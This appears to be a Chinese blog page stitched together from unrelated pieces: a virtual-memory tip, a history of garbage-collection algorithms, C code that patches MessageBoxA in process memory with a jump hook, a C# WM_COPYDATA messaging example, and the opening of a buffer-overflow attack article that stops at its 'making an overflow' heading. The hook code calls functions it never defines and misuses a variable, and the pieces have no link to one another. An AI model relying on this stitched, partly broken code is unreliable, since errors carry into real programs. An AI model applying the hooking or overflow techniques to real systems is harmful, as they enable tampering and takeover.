象这个问题,解决的根本办法,是买个适合你主板的内存条。右击我的电脑——属性——高级——性能--设置——高级——最下面就可以看到“虚拟内存”栏了， 选择你要把虚拟内存放哪个盘，然后自定义最大值和最小值就可以了，一般虚拟内存设置为物理内存的1.5—2倍为最佳，例如你的内存是512M的，那么虚拟 内存应设置为768M—1024M，依此类推~！

拓荒时代
国内的程序员大多是在 Java 语言中第一次感受到垃圾收集技术的巨大魅力的，许多人也因此把 Java 和垃圾收集看成了密不可分的整体。但事实上，垃圾收集技术早在 Java 语言问世前 30 多年就已经发展和成熟起来了， Java 语言所做的不过是把这项神奇的技术带到了广大程序员身边而已。

如果一定要为垃圾收集技术找一个孪生兄弟，那么， Lisp 语言才是当之无愧的人选。 1960 年前后诞生于 MIT 的 Lisp 语言是第一种高度依赖于动态内存分配技术的语言： Lisp 中几乎所有数据都以“表”的形式出现，而“表”所占用的空间则是在堆中动态分配得到的。 Lisp 语言先天就具有的动态内存管理特性要求 Lisp 语言的设计者必须解决堆中每一个内存块的自动释放问题（否则， Lisp 程序员就必然被程序中不计其数的 free 或 delete 语句淹没），这直接导致了垃圾收集技术的诞生和发展——说句题外话，上大学时，一位老师曾告诉我们， Lisp 是对现代软件开发技术贡献最大的语言。我当时对这一说法不以为然：布满了圆括号，看上去像迷宫一样的 Lisp 语言怎么能比 C 语言或 Pascal 语言更伟大呢？不过现在，当我知道垃圾收集技术、数据结构技术、人工智能技术、并行处理技术、虚拟机技术、元数据技术以及程序员们耳熟能详的许多技术都起源于 Lisp 语言时，我特别想向那位老师当面道歉，并收回我当时的幼稚想法。

知道了 Lisp 语言与垃圾收集的密切关系，我们就不难理解，为什么垃圾收集技术的两位先驱者 J. McCarthy 和 M. L. Minsky 同时也是 Lisp 语言发展史上的重要人物了。 J. McCarthy 是 Lisp 之父，他在发明 Lisp 语言的同时也第一次完整地描述了垃圾收集的算法和实现方式； M. L. Minsky 则在发展 Lisp 语言的过程中成为了今天好几种主流垃圾收集算法的奠基人——和当时不少技术大师的经历相似， J. McCarthy 和 M. L. Minsky 在许多不同的技术领域里都取得了令人艳羡的成就。也许，在 1960 年代那个软件开发史上的拓荒时代里，思维敏捷、意志坚定的研究者更容易成为无所不能的西部硬汉吧。

在了解垃圾收集算法的起源之前，有必要先回顾一下内存分配的主要方式。我们知道，大多数主流的语言或运行环境都支持三种最基本的内存分配方式，它们分别是：

一、静态分配（ Static Allocation ）：静态变量和全局变量的分配形式。我们可以把静态分配的内存看成是家里的耐用家具。通常，它们无需释放和回收，因为没人会天天把大衣柜当作垃圾扔到窗外。

二、自动分配（ Automatic Allocation ）：在栈中为局部变量分配内存的方法。栈中的内存可以随着代码块退出时的出栈操作被自动释放。这类似于到家中串门的访客，天色一晚就要各回各家，除了个别不识时务者以外，我们一般没必要把客人捆在垃圾袋里扫地出门。

三、动态分配（ Dynamic Allocation ）：在堆中动态分配内存空间以存储数据的方式。堆中的内存块好像我们日常使用的餐巾纸，用过了就得扔到垃圾箱里，否则屋内就会满地狼藉。像我这样的懒人做梦都想有一台家用机器人跟在身边打扫卫生。在软件开发中，如果你懒得释放内存，那么你也需要一台类似的机器人——这其实就是一个由特定算法实现的垃圾收集器。

也就是说，下面提到的所有垃圾收集算法都是在程序运行过程中收集并清理废旧“餐巾纸”的算法，它们的操作对象既不是静态变量，也不是局部变量，而是堆中所有已分配内存块。

引用计数（ Reference Counting ）算法
1960 年以前，人们为胚胎中的 Lisp 语言设计垃圾收集机制时，第一个想到的算法是引用计数算法。拿餐巾纸的例子来说，这种算法的原理大致可以描述为：

午餐时，为了把脑子里突然跳出来的设计灵感记下来，我从餐巾纸袋中抽出一张餐巾纸，打算在上面画出系统架构的蓝图。按照“餐巾纸使用规约之引用计数版”的要求，画图之前，我必须先在餐巾纸的一角写上计数值 1 ，以表示我在使用这张餐巾纸。这时，如果你也想看看我画的蓝图，那你就要把餐巾纸上的计数值加 1 ，将它改为 2 ，这表明目前有 2 个人在同时使用这张餐巾纸（当然，我是不会允许你用这张餐巾纸来擦鼻涕的）。你看完后，必须把计数值减 1 ，表明你对该餐巾纸的使用已经结束。同样，当我将餐巾纸上的内容全部誊写到笔记本上之后，我也会自觉地把餐巾纸上的计数值减 1 。此时，不出意外的话，这张餐巾纸上的计数值应当是 0 ，它会被垃圾收集器——假设那是一个专门负责打扫卫生的机器人——捡起来扔到垃圾箱里，因为垃圾收集器的惟一使命就是找到所有计数值为 0 的餐巾纸并清理它们。

引用计数算法的优点和缺陷同样明显。这一算法在执行垃圾收集任务时速度较快，但算法对程序中每一次内存分配和指针操作提出了额外的要求（增加或减少内存块的引用计数）。更重要的是，引用计数算法无法正确释放循环引用的内存块，对此， D. Hillis 有一段风趣而精辟的论述：

一天，一个学生走到 Moon 面前说：“我知道如何设计一个更好的垃圾收集器了。我们必须记录指向每个结点的指针数目。” Moon 耐心地给这位学生讲了下面这个故事：“一天，一个学生走到 Moon 面前说：‘我知道如何设计一个更好的垃圾收集器了……’”

D. Hillis 的故事和我们小时候常说的“从前有座山，山上有个庙，庙里有个老和尚”的故事有异曲同工之妙。这说明，单是使用引用计数算法还不足以解决垃圾收集中的所有问题。正因为如此，引用计数算法也常常被研究者们排除在狭义的垃圾收集算法之外。当然，作为一种最简单、最直观的解决方案，引用计数算法本身具有其不可替代的优越性。 1980 年代前后， D. P. Friedman ， D. S. Wise ， H. G. Baker 等人对引用计数算法进行了数次改进，这些改进使得引用计数算法及其变种（如延迟计数算法等）在简单的环境下，或是在一些综合了多种算法的现代垃圾收集系统中仍然可以一展身手。

标记－清除（ Mark-Sweep ）算法
第一种实用和完善的垃圾收集算法是 J. McCarthy 等人在 1960 年提出并成功地应用于 Lisp 语言的标记－清除算法。仍以餐巾纸为例，标记－清除算法的执行过程是这样的：

午餐过程中，餐厅里的所有人都根据自己的需要取用餐巾纸。当垃圾收集机器人想收集废旧餐巾纸的时候，它会让所有用餐的人先停下来，然后，依次询问餐厅里的每一个人：“你正在用餐巾纸吗？你用的是哪一张餐巾纸？”机器人根据每个人的回答将人们正在使用的餐巾纸画上记号。询问过程结束后，机器人在餐厅里寻找所有散落在餐桌上且没有记号的餐巾纸（这些显然都是用过的废旧餐巾纸），把它们统统扔到垃圾箱里。

正如其名称所暗示的那样，标记－清除算法的执行过程分为“标记”和“清除”两大阶段。这种分步执行的思路奠定了现代垃圾收集算法的思想基础。与引用计数算法不同的是，标记－清除算法不需要运行环境监测每一次内存分配和指针操作，而只要在“标记”阶段中跟踪每一个指针变量的指向——用类似思路实现的垃圾收集器也常被后人统称为跟踪收集器（ Tracing Collector ）

伴随着 Lisp 语言的成功，标记－清除算法也在大多数早期的 Lisp 运行环境中大放异彩。尽管最初版本的标记－清除算法在今天看来还存在效率不高（标记和清除是两个相当耗时的过程）等诸多缺陷，但在后面的讨论中，我们可以看到，几乎所有现代垃圾收集算法都是标记－清除思想的延续，仅此一点， J. McCarthy 等人在垃圾收集技术方面的贡献就丝毫不亚于他们在 Lisp 语言上的成就了。

复制（ Copying ）算法
为了解决标记－清除算法在垃圾收集效率方面的缺陷， M. L. Minsky 于 1963 年发表了著名的论文“一种使用双存储区的 Lisp 语言垃圾收集器（ A LISP Garbage Collector Algorithm Using Serial Secondary Storage ）”。 M. L. Minsky 在该论文中描述的算法被人们称为复制算法，它也被 M. L. Minsky 本人成功地引入到了 Lisp 语言的一个实现版本中。

复制算法别出心裁地将堆空间一分为二，并使用简单的复制操作来完成垃圾收集工作，这个思路相当有趣。借用餐巾纸的比喻，我们可以这样理解 M. L. Minsky 的复制算法：

餐厅被垃圾收集机器人分成南区和北区两个大小完全相同的部分。午餐时，所有人都先在南区用餐（因为空间有限，用餐人数自然也将减少一半），用餐时可以随意使用餐巾纸。当垃圾收集机器人认为有必要回收废旧餐巾纸时，它会要求所有用餐者以最快的速度从南区转移到北区，同时随身携带自己正在使用的餐巾纸。等所有人都转移到北区之后，垃圾收集机器人只要简单地把南区中所有散落的餐巾纸扔进垃圾箱就算完成任务了。下一次垃圾收集的工作过程也大致类似，惟一的不同只是人们的转移方向变成了从北区到南区。如此循环往复，每次垃圾收集都只需简单地转移（也就是复制）一次，垃圾收集速度无与伦比——当然，对于用餐者往返奔波于南北两区之间的辛劳，垃圾收集机器人是决不会流露出丝毫怜悯的。

M. L. Minsky 的发明绝对算得上一种奇思妙想。分区、复制的思路不仅大幅提高了垃圾收集的效率，而且也将原本繁纷复杂的内存分配算法变得前所未有地简明和扼要（既然每次内存回收都是对整个半区的回收，内存分配时也就不用考虑内存碎片等复杂情况，只要移动堆顶指针，按顺序分配内存就可以了），这简直是个奇迹！不过，任何奇迹的出现都有一定的代价，在垃圾收集技术中，复制算法提高效率的代价是人为地将可用内存缩小了一半。实话实说，这个代价未免也太高了一些。

无论优缺点如何，复制算法在实践中都获得了可以与标记－清除算法相比拟的成功。除了 M. L. Minsky 本人在 Lisp 语言中的工作以外，从 1960 年代末到 1970 年代初， R. R. Fenichel 和 J. C. Yochelson 等人也相继在 Lisp 语言的不同实现中对复制算法进行了改进， S. Arnborg 更是成功地将复制算法应用到了 Simula 语言中。

至此，垃圾收集技术的三大传统算法——引用计数算法、标记－清除算法和复制算法——都已在 1960 年前后相继问世，三种算法各有所长，也都存在致命的缺陷。从 1960 年代后期开始，研究者的主要精力逐渐转向对这三种传统算法进行改进或整合，以扬长避短，适应程序设计语言和运行环境对垃圾收集的效率和实时性所提出的更高要求。

走向成熟
从 1970 年代开始，随着科学研究和应用实践的不断深入，人们逐渐意识到，一个理想的垃圾收集器不应在运行时导致应用程序的暂停，不应额外占用大量的内存空间和 CPU 资源，而三种传统的垃圾收集算法都无法满足这些要求。人们必须提出更新的算法或思路，以解决实践中碰到的诸多难题。当时，研究者的努力目标包括：

第一，提高垃圾收集的效率。使用标记－清除算法的垃圾收集器在工作时要消耗相当多的 CPU 资源。早期的 Lisp 运行环境收集内存垃圾的时间竟占到了系统总运行时间的 40% ！——垃圾收集效率的低下直接造就了 Lisp 语言在执行速度方面的坏名声；直到今天，许多人还条件反射似地误以为所有 Lisp 程序都奇慢无比。

第二，减少垃圾收集时的内存占用。这一问题主要出现在复制算法中。尽管复制算法在效率上获得了质的突破，但牺牲一半内存空间的代价仍然是巨大的。在计算机发展的早期，在内存价格以 KB 计算的日子里，浪费客户的一半内存空间简直就是在变相敲诈或拦路打劫。

第三，寻找实时的垃圾收集算法。无论执行效率如何，三种传统的垃圾收集算法在执行垃圾收集任务时都必须打断程序的当前工作。这种因垃圾收集而造成的延时是许多程序，特别是执行关键任务的程序没有办法容忍的。如何对传统算法进行改进，以便实现一种在后台悄悄执行，不影响——或至少看上去不影响——当前进程的实时垃圾收集器，这显然是一件更具挑战性的工作。

研究者们探寻未知领域的决心和研究工作的进展速度同样令人惊奇：在 1970 年代到 1980 年代的短短十几年中，一大批在实用系统中表现优异的新算法和新思路脱颖而出。正是因为有了这些日趋成熟的垃圾收集算法，今天的我们才能在 Java 或 .NET 提供的运行环境中随心所欲地分配内存块，而不必担心空间释放时的风险。

标记－整理（ Mark-Compact ）算法
标记－整理算法是标记－清除算法和复制算法的有机结合。把标记－清除算法在内存占用上的优点和复制算法在执行效率上的特长综合起来，这是所有人都希望看到的结果。不过，两种垃圾收集算法的整合并不像 1 加 1 等于 2 那样简单，我们必须引入一些全新的思路。 1970 年前后， G. L. Steele ， C. J. Cheney 和 D. S. Wise 等研究者陆续找到了正确的方向，标记－整理算法的轮廓也逐渐清晰了起来：

在我们熟悉的餐厅里，这一次，垃圾收集机器人不再把餐厅分成两个南北区域了。需要执行垃圾收集任务时，机器人先执行标记－清除算法的第一个步骤，为所有使用中的餐巾纸画好标记，然后，机器人命令所有就餐者带上有标记的餐巾纸向餐厅的南面集中，同时把没有标记的废旧餐巾纸扔向餐厅北面。这样一来，机器人只消站在餐厅北面，怀抱垃圾箱，迎接扑面而来的废旧餐巾纸就行了。

实验表明，标记－整理算法的总体执行效率高于标记－清除算法，又不像复制算法那样需要牺牲一半的存储空间，这显然是一种非常理想的结果。在许多现代的垃圾收集器中，人们都使用了标记－整理算法或其改进版本。

增量收集（ Incremental Collecting ）算法
对实时垃圾收集算法的研究直接导致了增量收集算法的诞生。

最初，人们关于实时垃圾收集的想法是这样的：为了进行实时的垃圾收集，可以设计一个多进程的运行环境，比如用一个进程执行垃圾收集工作，另一个进程执行程序代码。这样一来，垃圾收集工作看上去就仿佛是在后台悄悄完成的，不会打断程序代码的运行。

在收集餐巾纸的例子中，这一思路可以被理解为：垃圾收集机器人在人们用餐的同时寻找废弃的餐巾纸并将它们扔到垃圾箱里。这个看似简单的思路会在设计和实现时碰上进程间冲突的难题。比如说，如果垃圾收集进程包括标记和清除两个工作阶段，那么，垃圾收集器在第一阶段中辛辛苦苦标记出的结果很可能被另一个进程中的内存操作代码修改得面目全非，以至于第二阶段的工作没有办法开展。

M. L. Minsky 和 D. E. Knuth 对实时垃圾收集过程中的技术难点进行了早期的研究， G. L. Steele 于 1975 年发表了题为“多进程整理的垃圾收集（ Multiprocessing compactifying garbage collection ）”的论文，描述了一种被后人称为“ Minsky-Knuth-Steele 算法”的实时垃圾收集算法。 E. W. Dijkstra ， L. Lamport ， R. R. Fenichel 和 J. C. Yochelson 等人也相继在此领域做出了各自的贡献。 1978 年， H. G. Baker 发表了“串行计算机上的实时表处理技术（ List Processing in Real Time on a Serial Computer ）”一文，系统阐述了多进程环境下用于垃圾收集的增量收集算法。

增量收集算法的基础仍是传统的标记－清除和复制算法。增量收集算法通过对进程间冲突的妥善处理，允许垃圾收集进程以分阶段的方式完成标记、清理或复制工作。详细分析各种增量收集算法的内部机理是一件相当繁琐的事情，在这里，读者们需要了解的仅仅是： H. G. Baker 等人的努力已经将实时垃圾收集的梦想变成了现实，我们再也不用为垃圾收集打断程序的运行而烦恼了。

分代收集（ Generational Collecting ）算法
和大多数软件开发技术一样，统计学原理总能在技术发展的过程中起到强力催化剂的作用。 1980 年前后，善于在研究中使用统计分析知识的技术人员发现，大多数内存块的生存周期都比较短，垃圾收集器应当把更多的精力放在检查和清理新分配的内存块上。这个发现对于垃圾收集技术的价值可以用餐巾纸的例子概括如下：

如果垃圾收集机器人足够聪明，事先摸清了餐厅里每个人在用餐时使用餐巾纸的习惯——比如有些人喜欢在用餐前后各用掉一张餐巾纸，有的人喜欢自始至终攥着一张餐巾纸不放，有的人则每打一个喷嚏就用去一张餐巾纸——机器人就可以制定出更完善的餐巾纸回收计划，并总是在人们刚扔掉餐巾纸没多久就把垃圾捡走。这种基于统计学原理的做法当然可以让餐厅的整洁度成倍提高。

D. E. Knuth ， T. Knight ， G. Sussman 和 R. Stallman 等人对内存垃圾的分类处理做了最早的研究。 1983 年， H. Lieberman 和 C. Hewitt 发表了题为“基于对象寿命的一种实时垃圾收集器（ A real-time garbage collector based on the lifetimes of objects ）”的论文。这篇著名的论文标志着分代收集算法的正式诞生。此后，在 H. G. Baker ， R. L. Hudson ， J. E. B. Moss 等人的共同努力下，分代收集算法逐渐成为了垃圾收集领域里的主流技术。

分代收集算法通常将堆中的内存块按寿命分为两类，年老的和年轻的。垃圾收集器使用不同的收集算法或收集策略，分别处理这两类内存块，并特别地把主要工作时间花在处理年轻的内存块上。分代收集算法使垃圾收集器在有限的资源条件下，可以更为有效地工作——这种效率上的提高在今天的 Java 虚拟机中得到了最好的证明。

应用浪潮
Lisp 是垃圾收集技术的第一个受益者，但显然不是最后一个。在 Lisp 语言之后，许许多多传统的、现代的、后现代的语言已经把垃圾收集技术拉入了自己的怀抱。随便举几个例子吧：诞生于 1964 年的 Simula 语言， 1969 年的 Smalltalk 语言， 1970 年的 Prolog 语言， 1973 年的 ML 语言， 1975 年的 Scheme 语言， 1983 年的 Modula-3 语言， 1986 年的 Eiffel 语言， 1987 年的 Haskell 语言……它们都先后使用了自动垃圾收集技术。当然，每一种语言使用的垃圾收集算法可能不尽相同，大多数语言和运行环境甚至同时使用了多种垃圾收集算法。但无论怎样，这些实例都说明，垃圾收集技术从诞生的那一天起就不是一种曲高和寡的“学院派”技术。

对于我们熟悉的 C 和 C++ 语言，垃圾收集技术一样可以发挥巨大的功效。正如我们在学校中就已经知道的那样， C 和 C++ 语言本身并没有提供垃圾收集机制，但这并不妨碍我们在程序中使用具有垃圾收集功能的函数库或类库。例如，早在 1988 年， H. J. Boehm 和 A. J. Demers 就成功地实现了一种使用保守垃圾收集算法（ Conservative GC Algorithmic ）的函数库（参见 http://www.hpl.hp.com/personal/Hans_Boehm/gc ）。我们可以在 C 语言或 C++ 语言中使用该函数库完成自动垃圾收集功能，必要时，甚至还可以让传统的 C/C++ 代码与使用自动垃圾收集功能的 C/C++ 代码在一个程序里协同工作。

1995 年诞生的 Java 语言在一夜之间将垃圾收集技术变成了软件开发领域里最为流行的技术之一。从某种角度说，我们很难分清究竟是 Java 从垃圾收集中受益，还是垃圾收集技术本身借 Java 的普及而扬名。值得注意的是，不同版本的 Java 虚拟机使用的垃圾收集机制并不完全相同， Java 虚拟机其实也经过了一个从简单到复杂的发展过程。在 Java 虚拟机的 1.4.1 版中，人们可以体验到的垃圾收集算法就包括分代收集、复制收集、增量收集、标记－整理、并行复制（ Parallel Copying ）、并行清除（ Parallel Scavenging ）、并发（ Concurrent ）收集等许多种， Java 程序运行速度的不断提升在很大程度上应该归功于垃圾收集技术的发展与完善。

尽管历史上已经有许多包含垃圾收集技术的应用平台和操作系统出现，但 Microsoft .NET 却是第一种真正实用化的、包含了垃圾收集机制的通用语言运行环境。事实上， .NET 平台上的所有语言，包括 C# 、 Visual Basic .NET 、 Visual C++ .NET 、 J# 等等，都可以通过几乎完全相同的方式使用 .NET 平台提供的垃圾收集机制。我们似乎可以断言， .NET 是垃圾收集技术在应用领域里的一次重大变革，它使垃圾收集技术从一种单纯的技术变成了应用环境乃至操作系统中的一种内在文化。这种变革对未来软件开发技术的影响力也许要远远超过 .NET 平台本身的商业价值。

大势所趋
今天，致力于垃圾收集技术研究的人们仍在不懈努力，他们的研究方向包括分布式系统的垃圾收集、复杂事务环境下的垃圾收集、数据库等特定系统的垃圾收集等等。

但在程序员中间，仍有不少人对垃圾收集技术不屑一顾，他们宁愿相信自己逐行编写的 free 或 delete 命令，也不愿把垃圾收集的重任交给那些在他们看来既蠢又笨的垃圾收集器。

我个人认为，垃圾收集技术的普及是大势所趋，这就像生活会越来越好一样毋庸置疑。今天的程序员也许会因为垃圾收集器要占用一定的 CPU 资源而对其望而却步，但二十多年前的程序员还曾因为高级语言速度太慢而坚持用机器语言写程序呢！在硬件速度日新月异的今天，我们是要吝惜那一点儿时间损耗而踟躇不前，还是该坚定不移地站在代码和运行环境的净化剂——垃圾收集的一边呢？

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1475358

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1628087

BOOL init()//初始化得到MessageBoxA的地址，并生成Jmp XXX(MyMessageBoxA)的跳转指令
{
　　hModule=LoadLibrary("user32.dll");
　　pfMessageBoxA=GetProcAddress(hModule,"MessageBoxA");
　　if(pfMessageBoxA==NULL)
　　　return false;
　　_asm
　　{
　　　　lea edi,OldMessageBoxACode
　　　　mov esi,pfMessageBoxA
　　　　cld
　　　　movsd
　　　　movsb
　　}
　　NewMessageBoxACode[0]=0xe9;//jmp MyMessageBoxA的相对地址的指令
　　_asm
　　{
　　　　lea eax,MyMessageBoxA
　　　　mov ebx,pfMessageBoxA
　　　　sub eax,ebx
　　　　sub eax,5
　　　　mov dword ptr [NewMessageBoxACode+1],eax
　　}
　　dwIdNew=GetCurrentProcessId(); //得到所属进程的ID
　　dwIdOld=dwIdNew;
　　HookOn();//开始拦截
　　return(true);
}

int WINAPI MyMessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption, UINT uType )//首先关闭拦截，然后才能调用被拦截的Api 函数
{　
　　int nReturn=0;
　　HookOff();
　　nReturn=MessageBoxA(hWnd,"Hook",lpCaption,uType);
　　HookOn();
　　return(nReturn);
}
void HookOn()
{
　　HANDLE hProc;
　　dwIdOld=dwIdNew;
　　hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);//得到所属进程的句柄
　　VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为可写
　　WriteProcessMemory(hProc,pfMessageBoxA,NewMessageBoxACode,5,0);//将所属进程中MessageBoxA的前5个字节改为JMP 到MyMessageBoxA
　　VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);//修改所属进程中MessageBoxA的前5个字节的属性为原来的属性
　　bHook=true;
}
void HookOff()//将所属进程中JMP MyMessageBoxA的代码改为Jmp MessageBoxA
{
　　HANDLE hProc;
　　dwIdOld=dwIdNew;
　　hProc=OpenProcess(PROCESS_ALL_ACCESS,0,dwIdOld);
　　VirtualProtectEx(hProc,pfMessageBoxA,5,PAGE_READWRITE,&dwIdOld);
　　WriteProcessMemory(hProc,pfMessageBoxA,OldMessageBoxACode,5,0);
　　VirtualProtectEx(hProc,pfMessageBoxA,5,dwIdOld,&dwIdOld);
　　bHook=false;
}
//测试文件：
int APIENTRY WinMain(HINSTANCE hInstance,
　　　　　　　　　　 HINSTANCE hPrevInstance,
　　　　　　　　　　 LPSTR　　 lpCmdLine,
　　　　　　　　　　 int　　　 nCmdShow)
{
　　
　　if(!InstallHook())
　　{
　　　　MessageBoxA(NULL,"Hook Error!","Hook",MB_OK);
　　　　return 1;
　　}
　　 MessageBoxA(NULL,"TEST","TEST",MB_OK);//可以看见Test变成了Hook,也可以在其他进程中看见
　　if(!UninstallHook())
　　{
　　　　MessageBoxA(NULL,"Uninstall Error!","Hook",MB_OK);
　　　　return 1;
　　}
　　return 0;
}

WM_COPYDATA消息的主要目的是允许在进程间传递只读数据。Windows在通过WM_COPYDATA消息传递期间，不提供继承同步方式。SDK文档推荐用户使用SendMessage函数，接受方在数据拷贝完成前不返回，这样发送方就不可能删除和修改数据：
这个函数的原型及其要用到的结构如下:
SendMessage(hwnd,WM_COPYDATA,wParam,lParam);
其中,WM_COPYDATA对应的十六进制数为0x004A
wParam设置为包含数据的窗口的句柄。lParam指向一个COPYDATASTRUCT的结构：
typedef struct tagCOPYDATASTRUCT{
DWORD dwData;//用户定义数据
DWORD cbData;//数据大小
PVOID lpData;//指向数据的指针
}COPYDATASTRUCT;
该结构用来定义用户数据。
具体过程如下:

首先,在发送方,用FindWindow找到接受方的句柄,然后向接受方发送WM_COPYDATA消息.
接受方在DefWndProc事件中,来处理这条消息.由于中文编码是两个字节,所以传递中文时候字节长度要搞清楚.
体代码如下:
//---------------------------------------------------
//发送方:
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Runtime.InteropServices;
namespace WinFormSendMsg
{
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Button button1;
private System.ComponentModel.Container components = null;
const int WM_COPYDATA = 0x004A;
public Form1()
{
InitializeComponent();
}
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}

private void InitializeComponent()
{
this.textBox1 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(184, 24);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(128, 21);
this.textBox1.TabIndex = 0;
this.textBox1.Text = "textBox1";
//
// button1
//
this.button1.Location = new System.Drawing.Point(344, 16);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(112, 32);
this.button1.TabIndex = 1;
this.button1.Text = "button1";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(536, 142);
this.Controls.AddRange(new System.Windows.Forms.Control[] {
this.button1,
this.textBox1});
this.Name = "Form1";
this.Text = "发送方窗体";
this.ResumeLayout(false);
}
static void Main()
{
Application.Run(new Form1());
}
[DllImport("User32.dll",EntryPoint="SendMessage")]
private static extern int SendMessage(
int hWnd, // handle to destination window
int Msg, // message
int wParam, // first message parameter
ref COPYDATASTRUCT lParam // second message parameter
);

[DllImport("User32.dll",EntryPoint="FindWindow")]
private static extern int FindWindow(string lpClassName,string
lpWindowName);

private void button1_Click(object sender, System.EventArgs e)
{
int WINDOW_HANDLER = FindWindow(null,@"接收方窗体");
if(WINDOW_HANDLER == 0)
{
}
else
{
byte[] sarr = System.Text.Encoding.Default.GetBytes(this.textBox1.Text);
int len = sarr.Length;
COPYDATASTRUCT cds;
cds.dwData = (IntPtr) 100;
cds.lpData = this.textBox1.Text;
cds.cbData = len + 1;
SendMessage(WINDOW_HANDLER, WM_COPYDATA, 0, ref cds);

}
}
}
public struct COPYDATASTRUCT
{
public IntPtr dwData;
public int cbData;
[MarshalAs(UnmanagedType.LPStr)] public string lpData;
}

}

//---------------------------------------------------
//接受方
//---------------------------------------------------
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Runtime.InteropServices;
namespace WindowsFormGetMsg
{
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.TextBox textBox1;
private System.ComponentModel.Container components = null;
const int WM_COPYDATA = 0x004A;
public Form1()
{
InitializeComponent();
}
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
private void InitializeComponent()
{
this.textBox1 = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(176, 32);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(160, 21);
this.textBox1.TabIndex = 0;
this.textBox1.Text = "textBox1";
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(432, 266);
this.Controls.AddRange(new System.Windows.Forms.Control[] {
this.textBox1});
this.Name = "Form1";
this.Text = "接收方窗体";
this.ResumeLayout(false);
}
static void Main()
{
Application.Run(new Form1());
}
protected override void DefWndProc(ref System.Windows.Forms.Message m)
{
switch(m.Msg)
{
case WM_COPYDATA:
COPYDATASTRUCT mystr = new COPYDATASTRUCT();
Type mytype = mystr.GetType();
mystr =(COPYDATASTRUCT)m.GetLParam(mytype);
this.textBox1.Text =mystr.lpData;
break;
default:
base.DefWndProc(ref m);
break;
}
}
}
public struct COPYDATASTRUCT
{
public IntPtr dwData;
public int cbData;
[MarshalAs(UnmanagedType.LPStr)] public string lpData;
}
}

摘 要 本文详细分析了缓冲区溢出的原理，描述了网络攻击者利用缓冲区溢出漏洞进行系统攻击的一般过程，最后简单讨论了几种缓冲区溢出的保护方法。
关键词　缓冲区溢出 缓冲区溢出漏洞 安全攻击 缓冲区溢出保护

在 过去的十年中，以缓冲区溢出为攻击类型的安全漏洞是最为常见的一种形式。更为严重的是，缓冲区溢出漏洞占了远程网络攻击的绝大多数，这种攻击可以使得一个 匿名的Internet用户有机会获得一台主机的部分或全部的控制权！由于这类攻击使任何人都有可能取得主机的控制权，所以它代表了一类极其严重的安全威 胁。

缓冲区溢出攻击之所以成为一种常见的攻击手段，其原因在于缓冲区溢出漏洞太普通了，并且易于实现。而且，缓冲区溢出所以成为远程攻击 的主要手段，其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切：殖入并且执行攻击代码。被殖入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而 得到被攻击主机的控制权。本文简单介绍了缓冲区溢出的基本原理和预防办法。


一、缓冲区溢出的概念和原理

缓冲区是 内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候，因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的，攻击 者写一个超过缓冲区长度的字符串，植入到缓冲区，然后再向一个有限空间的缓冲区中植入超长的字符串，这时可能会出现两个结果：一是过长的字符串覆盖了相邻 的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一个结果就是利用这种漏洞可以执行任意指令，甚至可以取得系统root特级权限。

缓 冲区是程序运行的时候机器内存中的一个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。大多时为了不占用太多的内存，一个有动态分配变量的 程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据，它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代 码放到机器的内存里，通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域，一旦 运行这些命令，那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序：

example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}

上 面的strcpy()将直接吧input中的内容copy到buffer中。这样只要input的长度大于16，就会造成buffer的溢出，使程序运行 出错。存在像strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在 循环内的getc(),fgetc(),getchar()等。

当然，随便往缓冲区中填东西造成它溢出一般只会出现 Segmentation fault 错误，而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其他命令。如果该程序属于root且 有suid权限的话，攻击者就获得了一个有root权限的shell，便可以对系统进行任意操作了。

请注意，如果没有特别说明，下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说，本文的概念同样适用，但程序要做相应修改。


二、制造缓冲区溢出

